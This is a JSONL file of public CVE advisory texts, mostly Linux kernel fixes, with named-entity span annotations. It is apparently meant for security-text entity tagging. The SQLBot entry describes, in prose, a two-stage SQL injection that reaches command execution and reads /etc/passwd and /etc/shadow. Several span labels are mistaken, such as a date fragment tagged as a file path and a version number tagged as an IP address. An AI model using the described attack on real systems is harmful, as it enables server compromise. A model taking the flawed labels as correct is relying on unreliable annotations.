{"text": "Modern DRAM devices (PC-DDR4, LPDDR4X) are affected by a vulnerability in their internal Target Row Refresh (TRR) mitigation against Rowhammer attacks. Novel non-uniform Rowhammer access patterns, consisting of aggressors with different frequencies, phases, and amplitudes allow triggering bit flips on affected memory modules using our Blacksmith fuzzer. The patterns generated by Blacksmith were able to trigger bitflips on all 40 PC-DDR4 DRAM devices in our test pool, which cover the three major DRAM manufacturers: Samsung, SK Hynix, and Micron. This means that, even when chips advertised as Rowhammer-free are used, attackers may still be able to exploit Rowhammer. For example, this enables privilege-escalation attacks against the kernel or binaries such as the sudo binary, and also triggering bit flips in RSA-2048 keys (e.g., SSH keys) to gain cross-tenant virtual-machine access. We can confirm that DRAM devices acquired in July 2020 with DRAM chips from all three major DRAM vendors (Samsung, SK Hynix, Micron) are affected by this vulnerability. For more details, please refer to our publication.", "spans": {"SYSTEM: sudo": [[771, 775]], "ORGANIZATION: Samsung": [[520, 527], [999, 1006]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-42114"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nworkqueue: Fix spruious data race in __flush_work()\n\nWhen flushing a work item for cancellation, __flush_work() knows that it\nexclusively owns the work item through its PENDING bit. 134874e2eee9\n(\"workqueue: Allow cancel_work_sync() and disable_work() from atomic\ncontexts on BH work items\") added a read of @work->data to determine whether\nto use busy wait for BH work items that are being canceled. While the read\nis safe when @from_cancel, @work->data was read before testing @from_cancel\nto simplify code structure:\n\n\tdata = *work_data_bits(work);\n\tif (from_cancel &&\n\t    !WARN_ON_ONCE(data & WORK_STRUCT_PWQ) && (data & WORK_OFFQ_BH)) {\n\nWhile the read data was never used if !@from_cancel, this could trigger\nKCSAN data race detection spuriously:\n\n  ==================================================================\n  BUG: KCSAN: data-race in __flush_work / __flush_work\n\n  write to 0xffff8881223aa3e8 of 8 bytes by task 3998 on cpu 0:\n   instrument_write include/linux/instrumented.h:41 [inline]\n   ___set_bit include/asm-generic/bitops/instrumented-non-atomic.h:28 [inline]\n   insert_wq_barrier kernel/workqueue.c:3790 [inline]\n   start_flush_work kernel/workqueue.c:4142 [inline]\n   __flush_work+0x30b/0x570 kernel/workqueue.c:4178\n   flush_work kernel/workqueue.c:4229 [inline]\n   ...\n\n  read to 0xffff8881223aa3e8 of 8 bytes by task 50 on cpu 1:\n   __flush_work+0x42a/0x570 kernel/workqueue.c:4188\n   flush_work kernel/workqueue.c:4229 [inline]\n   flush_delayed_work+0x66/0x70 kernel/workqueue.c:4251\n   ...\n\n  value changed: 0x0000000000400000 -> 0xffff88810006c00d\n\nReorganize the code so that @from_cancel is tested before @work->data is\naccessed. The only problem is triggering KCSAN detection spuriously. This\nshouldn't need READ_ONCE() or other access qualifiers.\n\nNo functional changes.", "spans": {"FILEPATH: /linux/instrumented.h": [[1040, 1061]], "FILEPATH: /asm-generic/bitops/instrumented-non-atomic.h": [[1095, 1140]], "FILEPATH: workqueue.c": [[1181, 1192], [1234, 1245], [1295, 1306], [1333, 1344], [1463, 1474], [1501, 1512], [1566, 1577]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-46704"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: vivid: Change the siize of the composing\n\nsyzkaller found a bug:\n\nBUG: KASAN: vmalloc-out-of-bounds in tpg_fill_plane_pattern drivers/media/common/v4l2-tpg/v4l2-tpg-core.c:2608 [inline]\nBUG: KASAN: vmalloc-out-of-bounds in tpg_fill_plane_buffer+0x1a9c/0x5af0 drivers/media/common/v4l2-tpg/v4l2-tpg-core.c:2705\nWrite of size 1440 at addr ffffc9000d0ffda0 by task vivid-000-vid-c/5304\n\nCPU: 0 UID: 0 PID: 5304 Comm: vivid-000-vid-c Not tainted 6.14.0-rc2-syzkaller-00039-g09fbf3d50205 #0\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014\n\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:94 [inline]\n dump_stack_lvl+0x241/0x360 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:378 [inline]\n print_report+0x169/0x550 mm/kasan/report.c:489\n kasan_report+0x143/0x180 mm/kasan/report.c:602\n kasan_check_range+0x282/0x290 mm/kasan/generic.c:189\n __asan_memcpy+0x40/0x70 mm/kasan/shadow.c:106\n tpg_fill_plane_pattern drivers/media/common/v4l2-tpg/v4l2-tpg-core.c:2608 [inline]\n tpg_fill_plane_buffer+0x1a9c/0x5af0 drivers/media/common/v4l2-tpg/v4l2-tpg-core.c:2705\n vivid_fillbuff drivers/media/test-drivers/vivid/vivid-kthread-cap.c:470 [inline]\n vivid_thread_vid_cap_tick+0xf8e/0x60d0 drivers/media/test-drivers/vivid/vivid-kthread-cap.c:629\n vivid_thread_vid_cap+0x8aa/0xf30 drivers/media/test-drivers/vivid/vivid-kthread-cap.c:767\n kthread+0x7a9/0x920 kernel/kthread.c:464\n ret_from_fork+0x4b/0x80 arch/x86/kernel/process.c:148\n ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:244\n </TASK>\n\nThe composition size cannot be larger than the size of fmt_cap_rect.\nSo execute v4l2_rect_map_inside() even if has_compose_cap == 0.", "spans": {"FILEPATH: /media/common/v4l2-tpg/v4l2-tpg-core.c": [[209, 247], [342, 380], [1060, 1098], [1157, 1195]], "FILEPATH: /01/2014": [[652, 660]], "FILEPATH: /kasan/report.c": [[803, 818], [860, 875], [908, 923]], "FILEPATH: /kasan/generic.c": [[961, 977]], "FILEPATH: /kasan/shadow.c": [[1009, 1024]], "FILEPATH: /media/test-drivers/vivid/vivid-kthread-cap.c": [[1224, 1269], [1330, 1375], [1421, 1466]], "FILEPATH: /x86/kernel/process.c": [[1542, 1563]], "FILEPATH: /x86/entry/entry_64.S": [[1601, 1622]], "FILEPATH: dump_stack.c": [[700, 712], [757, 769]], "FILEPATH: kthread.c": [[1499, 1508]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[577, 581]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38226"}}
{"text": "A Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability in telemetry processing of Juniper Networks Junos OS allows a network-based authenticated attacker to flood the system with multiple telemetry requests, causing the Junos Kernel Debugging Streaming Daemon (jkdsd) process to crash, leading to a Denial of Service (DoS). Continued receipt and processing of telemetry requests will repeatedly crash the jkdsd process and sustain the Denial of Service (DoS) condition.\n\nThis issue is seen on all Junos platforms. The crash is triggered when multiple telemetry requests come from different collectors. As the load increases, the Dynamic Rendering Daemon (drend) decides to defer processing and continue later, which results in a timing issue accessing stale memory, causing the jkdsd process to crash and restart.\n\nNote: jkdsd is not shipped with SRX Series devices and therefore are not affected by this vulnerability.\nThis issue affects:\n\nJuniper Networks Junos OS:\n\n\n\n  *  20.4 versions prior to 20.4R3-S9;\n  *  21.1 versions 21.1R1 and later;\n  *  21.2 versions prior to 21.2R3-S6;\n  *  21.3 versions prior to 21.3R3-S5;\n  *  21.4 versions prior to 21.4R3-S5;\n  *  22.1 versions prior to 22.1R3-S4;\n  *  22.2 versions prior to 22.2R3-S2;\n  *  22.3 versions prior to 22.3R2-S1, 22.3R3-S1;\n  *  22.4 versions prior to 22.4R2-S2, 22.4R3;\n  *  23.1 versions prior to 23.1R2.\n\n\n\n\nThis issue does not affect Juniper Networks Junos OS versions prior to 19.4R1.", "spans": {"ORGANIZATION: Juniper": [[93, 100], [952, 959], [1417, 1424]], "VULNERABILITY: Time-of-check Time-of-use": [[2, 27]], "VULNERABILITY: Denial of Service": [[310, 327], [446, 463]], "VULNERABILITY: Race Condition": [[37, 51]], "VULNERABILITY: TOCTOU": [[29, 35]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-44188"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmlxsw: spectrum_acl_tcam: Fix memory leak during rehash\n\nThe rehash delayed work migrates filters from one region to another.\nThis is done by iterating over all chunks (all the filters with the same\npriority) in the region and in each chunk iterating over all the\nfilters.\n\nIf the migration fails, the code tries to migrate the filters back to\nthe old region. However, the rollback itself can also fail in which case\nanother migration will be erroneously performed. Besides the fact that\nthis ping pong is not a very good idea, it also creates a problem.\n\nEach virtual chunk references two chunks: The currently used one\n('vchunk->chunk') and a backup ('vchunk->chunk2'). During migration the\nfirst holds the chunk we want to migrate filters to and the second holds\nthe chunk we are migrating filters from.\n\nThe code currently assumes - but does not verify - that the backup chunk\ndoes not exist (NULL) if the currently used chunk does not reference the\ntarget region. This assumption breaks when we are trying to rollback a\nrollback, resulting in the backup chunk being overwritten and leaked\n[1].\n\nFix by not rolling back a failed rollback and add a warning to avoid\nfuture cases.\n\n[1]\nWARNING: CPU: 5 PID: 1063 at lib/parman.c:291 parman_destroy+0x17/0x20\nModules linked in:\nCPU: 5 PID: 1063 Comm: kworker/5:11 Tainted: G        W          6.9.0-rc2-custom-00784-gc6a05c468a0b #14\nHardware name: Mellanox Technologies Ltd. MSN3700/VMOD0005, BIOS 5.11 01/06/2019\nWorkqueue: mlxsw_core mlxsw_sp_acl_tcam_vregion_rehash_work\nRIP: 0010:parman_destroy+0x17/0x20\n[...]\nCall Trace:\n <TASK>\n mlxsw_sp_acl_atcam_region_fini+0x19/0x60\n mlxsw_sp_acl_tcam_region_destroy+0x49/0xf0\n mlxsw_sp_acl_tcam_vregion_rehash_work+0x1f1/0x470\n process_one_work+0x151/0x370\n worker_thread+0x2cb/0x3e0\n kthread+0xd0/0x100\n ret_from_fork+0x34/0x50\n ret_from_fork_asm+0x1a/0x30\n </TASK>", "spans": {"FILEPATH: /06/2019": [[1525, 1533]], "FILEPATH: parman.c": [[1290, 1298]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[99, 110]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-35853"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nNFSD: Define actions for the new time_deleg FATTR4 attributes\n\nNFSv4 clients won't send legitimate GETATTR requests for these new\nattributes because they are intended to be used only with CB_GETATTR\nand SETATTR. But NFSD has to do something besides crashing if it\never sees a GETATTR request that queries these attributes.\n\nRFC 8881 Section 18.7.3 states:\n\n> The server MUST return a value for each attribute that the client\n> requests if the attribute is supported by the server for the\n> target file system. If the server does not support a particular\n> attribute on the target file system, then it MUST NOT return the\n> attribute value and MUST NOT set the attribute bit in the result\n> bitmap. The server MUST return an error if it supports an\n> attribute on the target but cannot obtain its value. In that case,\n> no attribute values will be returned.\n\nFurther, RFC 9754 Section 5 states:\n\n> These new attributes are invalid to be used with GETATTR, VERIFY,\n> and NVERIFY, and they can only be used with CB_GETATTR and SETATTR\n> by a client holding an appropriate delegation.\n\nThus there does not appear to be a specific server response mandated\nby specification. Taking the guidance that querying these attributes\nvia GETATTR is \"invalid\", NFSD will return nfserr_inval, failing the\nrequest entirely.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40326"}}
{"text": "SQLBot is an intelligent data query system based on a large language model and RAG. Versions prior to 1.7.0 contain a critical SQL Injection vulnerability in the /api/v1/datasource/uploadExcel endpoint that enables Remote Code Execution (RCE), allowing any authenticated user (even the lowest-privileged) to fully compromise the backend server. The root cause is twofold: Excel Sheet names are concatenated directly into PostgreSQL table names without sanitization (datasource.py#L351), and those table names are embedded into COPY SQL statements via f-strings instead of parameterized queries (datasource.py#L385-L388). An attacker can bypass the 31-character Sheet name limit using a two-stage technique—first uploading a normal file whose data rows contain shell commands, then uploading an XML-tampered file whose Sheet name injects a TO PROGRAM 'sh' clause into the SQL. Confirmed impacts include arbitrary command execution as the postgres user (uid=999), sensitive file exfiltration (e.g., /etc/passwd, /etc/shadow), and complete PostgreSQL database takeover. This issue has been fixed in version 1.7.0.", "spans": {"FILEPATH: /api/v1/datasource/uploadExcel": [[162, 192]], "FILEPATH: /etc/passwd": [[997, 1008]], "FILEPATH: /etc/shadow": [[1010, 1021]], "FILEPATH: datasource.py": [[466, 479], [595, 608]], "SYSTEM: PostgreSQL": [[421, 431], [1037, 1047]], "VULNERABILITY: Remote Code Execution": [[215, 236]], "VULNERABILITY: SQL Injection": [[127, 140]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-32950"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nswiotlb: Fix double-allocation of slots due to broken alignment handling\n\nCommit bbb73a103fbb (\"swiotlb: fix a braino in the alignment check fix\"),\nwhich was a fix for commit 0eee5ae10256 (\"swiotlb: fix slot alignment\nchecks\"), causes a functional regression with vsock in a virtual machine\nusing bouncing via a restricted DMA SWIOTLB pool.\n\nWhen virtio allocates the virtqueues for the vsock device using\ndma_alloc_coherent(), the SWIOTLB search can return page-unaligned\nallocations if 'area->index' was left unaligned by a previous allocation\nfrom the buffer:\n\n # Final address in brackets is the SWIOTLB address returned to the caller\n | virtio-pci 0000:00:07.0: orig_addr 0x0 alloc_size 0x2000, iotlb_align_mask 0x800 stride 0x2: got slot 1645-1649/7168 (0x98326800)\n | virtio-pci 0000:00:07.0: orig_addr 0x0 alloc_size 0x2000, iotlb_align_mask 0x800 stride 0x2: got slot 1649-1653/7168 (0x98328800)\n | virtio-pci 0000:00:07.0: orig_addr 0x0 alloc_size 0x2000, iotlb_align_mask 0x800 stride 0x2: got slot 1653-1657/7168 (0x9832a800)\n\nThis ends badly (typically buffer corruption and/or a hang) because\nswiotlb_alloc() is expecting a page-aligned allocation and so blindly\nreturns a pointer to the 'struct page' corresponding to the allocation,\ntherefore double-allocating the first half (2KiB slot) of the 4KiB page.\n\nFix the problem by treating the allocation alignment separately to any\nadditional alignment requirements from the device, using the maximum\nof the two as the stride to search the buffer slots and taking care\nto ensure a minimum of page-alignment for buffers larger than a page.\n\nThis also resolves swiotlb allocation failures occuring due to the\ninclusion of ~PAGE_MASK in 'iotlb_align_mask' for large allocations and\nresulting in alignment requirements exceeding swiotlb_max_mapping_size().", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-35814"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndmaengine: ti: k3-udma: Add missing locking\n\nRecent kernels complain about a missing lock in k3-udma.c when the lock\nvalidator is enabled:\n\n[    4.128073] WARNING: CPU: 0 PID: 746 at drivers/dma/ti/../virt-dma.h:169 udma_start.isra.0+0x34/0x238\n[    4.137352] CPU: 0 UID: 0 PID: 746 Comm: kworker/0:3 Not tainted 6.12.9-arm64 #28\n[    4.144867] Hardware name: pp-v12 (DT)\n[    4.148648] Workqueue: events udma_check_tx_completion\n[    4.153841] pstate: 60000005 (nZCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n[    4.160834] pc : udma_start.isra.0+0x34/0x238\n[    4.165227] lr : udma_start.isra.0+0x30/0x238\n[    4.169618] sp : ffffffc083cabcf0\n[    4.172963] x29: ffffffc083cabcf0 x28: 0000000000000000 x27: ffffff800001b005\n[    4.180167] x26: ffffffc0812f0000 x25: 0000000000000000 x24: 0000000000000000\n[    4.187370] x23: 0000000000000001 x22: 00000000e21eabe9 x21: ffffff8000fa0670\n[    4.194571] x20: ffffff8001b6bf00 x19: ffffff8000fa0430 x18: ffffffc083b95030\n[    4.201773] x17: 0000000000000000 x16: 00000000f0000000 x15: 0000000000000048\n[    4.208976] x14: 0000000000000048 x13: 0000000000000000 x12: 0000000000000001\n[    4.216179] x11: ffffffc08151a240 x10: 0000000000003ea1 x9 : ffffffc08046ab68\n[    4.223381] x8 : ffffffc083cabac0 x7 : ffffffc081df3718 x6 : 0000000000029fc8\n[    4.230583] x5 : ffffffc0817ee6d8 x4 : 0000000000000bc0 x3 : 0000000000000000\n[    4.237784] x2 : 0000000000000000 x1 : 00000000001fffff x0 : 0000000000000000\n[    4.244986] Call trace:\n[    4.247463]  udma_start.isra.0+0x34/0x238\n[    4.251509]  udma_check_tx_completion+0xd0/0xdc\n[    4.256076]  process_one_work+0x244/0x3fc\n[    4.260129]  process_scheduled_works+0x6c/0x74\n[    4.264610]  worker_thread+0x150/0x1dc\n[    4.268398]  kthread+0xd8/0xe8\n[    4.271492]  ret_from_fork+0x10/0x20\n[    4.275107] irq event stamp: 220\n[    4.278363] hardirqs last  enabled at (219): [<ffffffc080a27c7c>] _raw_spin_unlock_irq+0x38/0x50\n[    4.287183] hardirqs last disabled at (220): [<ffffffc080a1c154>] el1_dbg+0x24/0x50\n[    4.294879] softirqs last  enabled at (182): [<ffffffc080037e68>] handle_softirqs+0x1c0/0x3cc\n[    4.303437] softirqs last disabled at (177): [<ffffffc080010170>] __do_softirq+0x1c/0x28\n[    4.311559] ---[ end trace 0000000000000000 ]---\n\nThis commit adds the missing locking.", "spans": {"FILEPATH: /dma/ti/../virt-dma.h": [[259, 280]], "FILEPATH: udma.c": [[165, 171]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38005"}}
{"text": "In YzmCMS 5.6, stored XSS exists via the common/static/plugin/ueditor/1.4.3.3/php/controller.php action parameter, which allows remote attackers to upload a swf file. The swf file can be injected with arbitrary web script or HTML.", "spans": {"IP_ADDRESS: 1.4.3.3": [[70, 77]], "FILEPATH: controller.php": [[82, 96]], "VULNERABILITY: stored XSS": [[15, 25]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-23370"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf, sockmap: Fix the sk->sk_forward_alloc warning of sk_stream_kill_queues\n\nWhen running `test_sockmap` selftests, the following warning appears:\n\n  WARNING: CPU: 2 PID: 197 at net/core/stream.c:205 sk_stream_kill_queues+0xd3/0xf0\n  Call Trace:\n  <TASK>\n  inet_csk_destroy_sock+0x55/0x110\n  tcp_rcv_state_process+0xd28/0x1380\n  ? tcp_v4_do_rcv+0x77/0x2c0\n  tcp_v4_do_rcv+0x77/0x2c0\n  __release_sock+0x106/0x130\n  __tcp_close+0x1a7/0x4e0\n  tcp_close+0x20/0x70\n  inet_release+0x3c/0x80\n  __sock_release+0x3a/0xb0\n  sock_close+0x14/0x20\n  __fput+0xa3/0x260\n  task_work_run+0x59/0xb0\n  exit_to_user_mode_prepare+0x1b3/0x1c0\n  syscall_exit_to_user_mode+0x19/0x50\n  do_syscall_64+0x48/0x90\n  entry_SYSCALL_64_after_hwframe+0x44/0xae\n\nThe root case is in commit 84472b436e76 (\"bpf, sockmap: Fix more uncharged\nwhile msg has more_data\"), where I used msg->sg.size to replace the tosend,\ncausing breakage:\n\n  if (msg->apply_bytes && msg->apply_bytes < tosend)\n    tosend = psock->apply_bytes;", "spans": {"FILEPATH: /core/stream.c": [[250, 264]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49877"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsfc: fix TX channel offset when using legacy interrupts\n\nIn legacy interrupt mode the tx_channel_offset was hardcoded to 1, but\nthat's not correct if efx_sepparate_tx_channels is false. In that case,\nthe offset is 0 because the tx queues are in the single existing channel\nat index 0, together with the rx queue.\n\nWithout this fix, as soon as you try to send any traffic, it tries to\nget the tx queues from an uninitialized channel getting these errors:\n  WARNING: CPU: 1 PID: 0 at drivers/net/ethernet/sfc/tx.c:540 efx_hard_start_xmit+0x12e/0x170 [sfc]\n  [...]\n  RIP: 0010:efx_hard_start_xmit+0x12e/0x170 [sfc]\n  [...]\n  Call Trace:\n   <IRQ>\n   dev_hard_start_xmit+0xd7/0x230\n   sch_direct_xmit+0x9f/0x360\n   __dev_queue_xmit+0x890/0xa40\n  [...]\n  BUG: unable to handle kernel NULL pointer dereference at 0000000000000020\n  [...]\n  RIP: 0010:efx_hard_start_xmit+0x153/0x170 [sfc]\n  [...]\n  Call Trace:\n   <IRQ>\n   dev_hard_start_xmit+0xd7/0x230\n   sch_direct_xmit+0x9f/0x360\n   __dev_queue_xmit+0x890/0xa40\n  [...]", "spans": {"FILEPATH: /net/ethernet/sfc/tx.c": [[558, 580]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[847, 871]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48647"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndriver core: fix resource leak in device_add()\n\nWhen calling kobject_add() failed in device_add(), it will call\ncleanup_glue_dir() to free resource. But in kobject_add(),\ndev->kobj.parent has been set to NULL. This will cause resource leak.\n\nThe process is as follows:\ndevice_add()\n\tget_device_parent()\n\t\tclass_dir_create_and_add()\n\t\t\tkobject_add()\t\t//kobject_get()\n\t...\n\tdev->kobj.parent = kobj;\n\t...\n\tkobject_add()\t\t//failed, but set dev->kobj.parent = NULL\n\t...\n\tglue_dir = get_glue_dir(dev)\t//glue_dir = NULL, and goto\n\t\t\t\t\t//\"Error\" label\n\t...\n\tcleanup_glue_dir()\t//becaues glue_dir is NULL, not call\n\t\t\t\t//kobject_put()\n\nThe preceding problem may cause insmod mac80211_hwsim.ko to failed.\nsysfs: cannot create duplicate filename '/devices/virtual/mac80211_hwsim'\nCall Trace:\n<TASK>\ndump_stack_lvl+0x8e/0xd1\nsysfs_warn_dup.cold+0x1c/0x29\nsysfs_create_dir_ns+0x224/0x280\nkobject_add_internal+0x2aa/0x880\nkobject_add+0x135/0x1a0\nget_device_parent+0x3d7/0x590\ndevice_add+0x2aa/0x1cb0\ndevice_create_groups_vargs+0x1eb/0x260\ndevice_create+0xdc/0x110\nmac80211_hwsim_new_radio+0x31e/0x4790 [mac80211_hwsim]\ninit_mac80211_hwsim+0x48d/0x1000 [mac80211_hwsim]\ndo_one_initcall+0x10f/0x630\ndo_init_module+0x19f/0x5e0\nload_module+0x64b7/0x6eb0\n__do_sys_finit_module+0x140/0x200\ndo_syscall_64+0x35/0x80\nentry_SYSCALL_64_after_hwframe+0x46/0xb0\n</TASK>\nkobject_add_internal failed for mac80211_hwsim with -EEXIST, don't try to\nregister things with the same name in the same directory.", "spans": {"FILEPATH: /devices/virtual/mac80211_hwsim": [[805, 836]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53594"}}
{"text": "Orval generates type-safe JS clients (TypeScript) from any valid OpenAPI v3 or Swagger v2 specification. Versions \n7.19.0 and below and 8.0.0-rc.0 through 8.0.2 allow untrusted OpenAPI specifications to inject arbitrary TypeScript/JavaScript into generated mock files via the const keyword on schema properties. These const values are interpolated into the mock scalar generator (getMockScalar in packages/mock/src/faker/getters/scalar.ts) without proper escaping or type-safe serialization, which results in attacker-controlled code being emitted into both interface definitions and faker/MSW handlers. The vulnerability is similar in impact to the previously reported enum x-enumDescriptions (GHSA-h526-wf6g-67jv), but it affects a different code path in the faker-based mock generator rather than @orval/core. The issue has been fixed in versions 7.20.0 and 8.0.3.", "spans": {"FILEPATH: /mock/src/faker/getters/scalar.ts": [[405, 438]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-24132"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nkthread: unpark only parked kthread\n\nCalling into kthread unparking unconditionally is mostly harmless when\nthe kthread is already unparked. The wake up is then simply ignored\nbecause the target is not in TASK_PARKED state.\n\nHowever if the kthread is per CPU, the wake up is preceded by a call\nto kthread_bind() which expects the task to be inactive and in\nTASK_PARKED state, which obviously isn't the case if it is unparked.\n\nAs a result, calling kthread_stop() on an unparked per-cpu kthread\ntriggers such a warning:\n\n\tWARNING: CPU: 0 PID: 11 at kernel/kthread.c:525 __kthread_bind_mask kernel/kthread.c:525\n\t <TASK>\n\t kthread_stop+0x17a/0x630 kernel/kthread.c:707\n\t destroy_workqueue+0x136/0xc40 kernel/workqueue.c:5810\n\t wg_destruct+0x1e2/0x2e0 drivers/net/wireguard/device.c:257\n\t netdev_run_todo+0xe1a/0x1000 net/core/dev.c:10693\n\t default_device_exit_batch+0xa14/0xa90 net/core/dev.c:11769\n\t ops_exit_list net/core/net_namespace.c:178 [inline]\n\t cleanup_net+0x89d/0xcc0 net/core/net_namespace.c:640\n\t process_one_work kernel/workqueue.c:3231 [inline]\n\t process_scheduled_works+0xa2c/0x1830 kernel/workqueue.c:3312\n\t worker_thread+0x86d/0xd70 kernel/workqueue.c:3393\n\t kthread+0x2f0/0x390 kernel/kthread.c:389\n\t ret_from_fork+0x4b/0x80 arch/x86/kernel/process.c:147\n\t ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:244\n\t </TASK>\n\nFix this with skipping unecessary unparking while stopping a kthread.", "spans": {"FILEPATH: /net/wireguard/device.c": [[825, 848]], "FILEPATH: /core/dev.c": [[887, 898], [948, 959]], "FILEPATH: /core/net_namespace.c": [[985, 1006], [1049, 1070]], "FILEPATH: /x86/kernel/process.c": [[1315, 1336]], "FILEPATH: /x86/entry/entry_64.S": [[1375, 1396]], "FILEPATH: kthread.c": [[624, 633], [665, 674], [722, 731], [1271, 1280]], "FILEPATH: workqueue.c": [[775, 786], [1101, 1112], [1173, 1184], [1225, 1236]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-50019"}}
{"text": "Issue summary: An invalid or NULL pointer dereference can happen in\nan application processing a malformed PKCS#12 file.\n\nImpact summary: An application processing a malformed PKCS#12 file can be\ncaused to dereference an invalid or NULL pointer on memory read, resulting\nin a Denial of Service.\n\nA type confusion vulnerability exists in PKCS#12 parsing code where\nan ASN1_TYPE union member is accessed without first validating the type,\ncausing an invalid pointer read.\n\nThe location is constrained to a 1-byte address space, meaning any\nattempted pointer manipulation can only target addresses between 0x00 and 0xFF.\nThis range corresponds to the zero page, which is unmapped on most modern\noperating systems and will reliably result in a crash, leading only to a\nDenial of Service. Exploiting this issue also requires a user or application\nto process a maliciously crafted PKCS#12 file. It is uncommon to accept\nuntrusted PKCS#12 files in applications as they are usually used to store\nprivate keys which are trusted by definition. For these reasons, the issue\nwas assessed as Low severity.\n\nThe FIPS modules in 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\nas the PKCS12 implementation is outside the OpenSSL FIPS module boundary.\n\nOpenSSL 3.6, 3.5, 3.4, 3.3, 3.0 and 1.1.1 are vulnerable to this issue.\n\nOpenSSL 1.0.2 is not affected by this issue.", "spans": {"SYSTEM: OpenSSL": [[1211, 1218], [1242, 1249], [1315, 1322]], "VULNERABILITY: NULL pointer dereference": [[29, 53]], "VULNERABILITY: Denial of Service": [[275, 292], [764, 781]], "VULNERABILITY: type confusion": [[297, 311]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-22795"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: allow ext4_get_group_info() to fail\n\nPreviously, ext4_get_group_info() would treat an invalid group number\nas BUG(), since in theory it should never happen.  However, if a\nmalicious attaker (or fuzzer) modifies the superblock via the block\ndevice while it is the file system is mounted, it is possible for\ns_first_data_block to get set to a very large number.  In that case,\nwhen calculating the block group of some block number (such as the\nstarting block of a preallocation region), could result in an\nunderflow and very large block group number.  Then the BUG_ON check in\next4_get_group_info() would fire, resutling in a denial of service\nattack that can be triggered by root or someone with write access to\nthe block device.\n\nFor a quality of implementation perspective, it's best that even if\nthe system administrator does something that they shouldn't, that it\nwill not trigger a BUG.  So instead of BUG'ing, ext4_get_group_info()\nwill call ext4_error and return NULL.  We also add fallback code in\nall of the callers of ext4_get_group_info() that it might NULL.\n\nAlso, since ext4_get_group_info() was already borderline to be an\ninline function, un-inline it.  The results in a next reduction of the\ncompiled text size of ext4 by roughly 2k.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: denial of service": [[699, 716]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53503"}}
{"text": "Reflected Cross-Site Scripting (XSS) vulnerability in the Graylog Web Interface console, version 2.2.3, caused by a lack of proper sanitization and escaping in HTML output. Several endpoints include segments of the URL directly in the response without applying output encoding, allowing an attacker to inject and execute arbitrary JavaScript code when a user visits a specially crafted URL. Exploitation of this vulnerability may allow script execution in the victim's browser and limited manipulation of the affected user's session context, through the '/system/authentication/users/edit/' endpoint.", "spans": {"FILEPATH: /system/authentication/users/edit": [[555, 588]], "VULNERABILITY: Cross-Site Scripting": [[10, 30]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-1437"}}
{"text": "CryptoLib provides a software-only solution using the CCSDS Space Data Link Security Protocol - Extended Procedures (SDLS-EP) to secure communications between a spacecraft running the core Flight System (cFS) and a ground station. Prior to version 1.4.3, CryptoLib’s KMC crypto service integration is vulnerable to a heap buffer overflow when decoding Base64-encoded ciphertext/cleartext fields returned by the KMC service. The decode destination buffer is sized using an expected output length (len_data_out), but the Base64 decoder writes output based on the actual Base64 input length and does not enforce any destination size limit. An oversized Base64 string in the KMC JSON response can cause out-of-bounds writes on the heap, resulting in process crash and potentially code execution under certain conditions. This issue has been patched in version 1.4.3.", "spans": {"VULNERABILITY: buffer overflow": [[322, 337]], "VULNERABILITY: code execution": [[776, 790]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-22697"}}
